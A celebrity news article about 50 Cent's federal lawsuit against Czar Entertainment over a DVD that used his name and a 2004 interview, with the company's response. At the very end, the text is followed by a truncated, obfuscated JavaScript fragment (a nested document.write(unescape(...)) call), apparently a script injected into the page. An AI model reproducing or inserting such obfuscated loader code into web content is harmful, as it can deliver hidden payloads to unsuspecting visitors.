50 Cent in name controversy

50 Cent is taking aim at some DVD producers for allegedly failing to keep a promise not to cash in on the rapper's name.

The Massacre purveyor sicced his lawyers on Czar Entertainment and two offshoots Tuesday, claiming he had made a deal with the companies to participate in an interview session in exchange for the producers making a donation to charity.

Per the lawsuit, filed in U.S. District Court in Los Angeles, Fiddy granted the sit-down in 2004. The rapper, whose real name is Curtis James Jackson, fielded questions about Kelvin Martin, a notorious 1980s thug who worked the streets of Brooklyn. Martin was nicknamed 50 Cent; Jackson, inspired by Martin's street-savvy attitude, assumed the moniker when Martin died in a hail of bullets.

The "In Da Club" rapper says he agreed to participate for free in the segment, which, he says, was supposed to be part of Czar's Infamous Times video series. In lieu of payment, Fiddy claims Czar agreed to make a donation either to his charity, the G-Unity Foundation, or Martin's family. The rapper also says he never cleared the footage to be used in a for-profit venture.

But the lawsuit contends that Czar never made the donation. Instead, per the suit, in early March, as Fiddy's The Massacre was riding high on the charts, the company, in association with Vision Plant Pictures and Premo Pictures, released a DVD titled The Original 50 Cent: The True Story of the Legend Who Inspired the Biggest Name in Rap.

The box cover features 50 Cent's name, sans his permission, and the interview. His protg, the Game, is also interviewed in the documentary, which, according to Czar, has already shipped platinum to major retail outlets.

Jackson seeks unspecified damages, profits from the DVD and a court order barring the defendants from selling The Original 50 Cent.
For its part, Czar says the federal suit is "without merit." The company claims to be working out a profit-sharing deal with the Martin family.

"We have made arrangements directly with family regarding the donation of proceeds from the DVD sales and feel confident that all relevant parties will be satisfied," the company said in a statement Wednesday.

It's been a busy few weeks for Fiddy's legal department.
Last month, the rap megastar managed to avoid jail after reaching a plea deal with Massachusetts prosecutors in a case stemming from a 2004 concert brawl that left three women injured. His lawyers have vowed to fight any lawsuits that might arise from the incident.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22